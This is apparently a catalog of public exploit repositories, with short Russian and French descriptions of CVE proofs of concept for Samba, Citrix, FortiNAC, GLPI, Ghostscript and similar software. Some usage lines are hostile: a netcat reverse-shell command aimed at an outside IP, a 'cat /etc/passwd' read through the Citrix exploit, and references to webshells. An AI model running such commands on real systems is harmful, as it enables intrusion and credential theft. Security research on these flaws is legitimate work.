RPC-Backdoor

Эмуляция RPC-бэкдора Этот проект представляет собой базовую реализацию «RPC-бэкдора», предназначенную для эмуляции TTP тактик, техник и процедур, используемых некоторыми группировками. Проект содержит RPC-сервер с пятью функциями: Выполнение команды с помощью cmd.exe /c и вызова API CreateProcess...

CVE-2017-1000117

CVE-2017-1000117 Злоумышленники могут создать специальную ссылку "ssh://…", чтобы при её открытии жертвой например, при выполнении программы добиться выполнения команд. Эта ссылка может быть помещена в файл .gitmodules git-проекта, так что при выполнении жертвой команды git clone...

Exploit-CVE-2025-24801

CVE-2025-24801 Этот эксплойт использует CVE-2025-24801 для получения удалённого выполнения кода RCE через локальное включение файлов LFI в GLPI 10.0.17. Доказательство концепции PoC этой CVE с объяснением данной уязвимости в GLPI. Наблюдение Некоторые приложения раскрывают конечную точку /glpi/...

CVE-2014-6271

CVE-2014-6271 Utilisation go run CVE-2014-6271.go www.example.com 80 whoami...

CVE-2023-41892_poc

CVE-2023-41892poc Адаптировано для собственного использования pocnoauth.py Базовый однострочный PHP-веб-шелл Выполнение OS-команд через ?cmd= pocauth.py Веб-шелл с простой аутентификацией на основе ключа сравнение SHA-256 хешей Выполнение команд возможно только после ввода корректного ключа...

CVE-2022-39952-better

FortiNAC CVE-2022-39952 PoC для CVE-2022-39952, затрагивающий Fortinet FortiNAC. Этот эксплойт позволяет атакующему выполнять произвольные команды на сервере FortiNAC. Он основан на PoC, разработанном horizon3ai, с дополнительными опциями для атаки на несколько хостов. Отказ от ответственности:...

CVE-2019-14811-in-pdf-exploit

CVE-2019-14811 GhostScript PDF-предпросмотр Exploit PoC Этот эксплойт нацелен на CVE-2019-14811 в окружениях GS, где вывод PostScript не отображается, но выполняется, например, в предпросмотре PDF через PNG-изображения. Эксплойт выполняет команды непосредственно в предпросмотре pngXXm, он основан...

CVE-2023-46818

CVE-2023-46818 PoC Это python-реализация PoC, предоставленного Egidio Romano, также известным как EgiX, здесь, этот эксплойт выдаст вам веб-шелл, а для получения полностью интерактивной оболочки выполните команду и отправьте себе реверс-шелл. Использование python exploit.py http://localhost...

CVE-2025-51820

CVE-2025-51820 Une vulnérabilité critique d'exécution de code à distance RCE CVE-2025-51820 a été découverte dans Shopping Portal v1.0. 🚨 Exécution de code à distance dans Online Shopping Portal Project v1.0 CVE-2025-51820 🔍 Introduction Dans le monde numérique d'aujourd'hui, l'exécution de code ...

RemoteMouse-3.008-RCE

CVE-2021-35448 - Эксплойт для Remote Mouse Описание Этот эксплойт нацелен на уязвимость CVE-2021-35448 в приложении Remote Mouse ранее WiFi Mouse. POC CVE-2021-35448.webm Использование Базовый синтаксис python3 CVE-2021-35448.py -t OPTIONS Опции -t, --target: IP-адрес цели обязательно -p,...

CVE-2025-6384

CVE-2025-6384: Groovy Sandbox Bypass 2 в CrafterCMS Уязвимость Improper Control of Dynamically-Managed Code Resources в Crafter Studio из состава Crafter CMS позволяет аутентифицированным разработчикам выполнять команды ОС в обход песочницы Groovy Groovy Sandbox Bypass. Раскрытие информации...

CVE-2025-52385

CVE-2025-52385 Программное обеспечение : Studio 3T v.2025.1.0 Отчёт об уязвимости : Удалённое выполнение команд в Studio 3T Обзор Критическая уязвимость в Studio 3T версии 2025.1.0 и более ранних позволяет удалённому злоумышленнику выполнять произвольный код с помощью специально созданной нагрузк...

Adobe-ColdFusion-8-RCE-CVE-2009-2265

Adobe ColdFusion 8 - Exploitation d'exécution de commandes à distance RCE Présentation Cet exploit cible une vulnérabilité connue dans Adobe ColdFusion 8 CVE-2009-2265. Il permet l'exécution de commandes à distance RCE en téléchargeant une charge utile JSP malveillante qui établit une connexion...

CVE-2007-2447

ExploitDev Journey 6 | CVE-2007-2447 | Samba 3.0.20 3.0.25rc 'Username' map script' Выполнение команды Оригинальный эксплойт: https://www.exploit-db.com/exploits/16320 Название эксплойта: Samba username map script RCE CVE : 2007-2447 Лаборатория : Lame - HackTheBox Описание В версиях Samba ниже...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC для CVE-2023-30258-RCE от n0o0b Использование usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd CMD...

CVE-2019-19781

CVE-2019-19781 Просто эксплойт для CVE-2019-19781 на Python3 для Citrix за кешем. Эта версия принимает '', '|', '2&1'... и т.д. ИСПОЛЬЗОВАНИЕ python3 CVE-2019-19781.py citrix.example.org 'cat /etc/passwd' Планы Повторять, если в ответе присутствует заголовок Age. Непрерывный режим -c. Режим...

Mass-CVE-2025-29306

FoxCMS Mass Exploiter CVE-2025-29306 Специализированный инструмент автоматизации для исследователей безопасности, позволяющий выполнять тестирование удалённого выполнения команд RCE на множестве целей. 🛡️ Примечание по безопасности Эта программа написана на Bash и была зашифрована/скомпилирована с...

cve-2018-11776-docker

CVE-2018-11776 Docker-контейнер и POC-эксплойт, написанный на Go Вы можете собрать свой собственный образ и запустить его: docker build . -t yourimagename docker container run -it --rm -p 8080:8080 yourimagename Или просто стянуть образ, который я создал с любовью для вас: docker container run -i...

CVE-2018-6574

CVE-2018-6574 Эксплойт для удаленного выполнения команд в команде go get языка Golang. Введение Когда вы выполняете go get для пакета, Go спроектирован так, чтобы собрать и установить пакет без выполнения какого-либо кода из него. Предполагается, что вы можете безопасно получить, собрать и даже...

CVE-2020-35713

Description Les appareils Belkin LINKSYS RE6500 avant la version 1.0.012.001 permettent à des attaquants distants d'exécuter des commandes arbitraires ou de définir un nouveau mot de passe via des métacaractères de shell sur la page goform/setSysAdm. Comment utiliser Étape 1 : Modifier l'adresse ...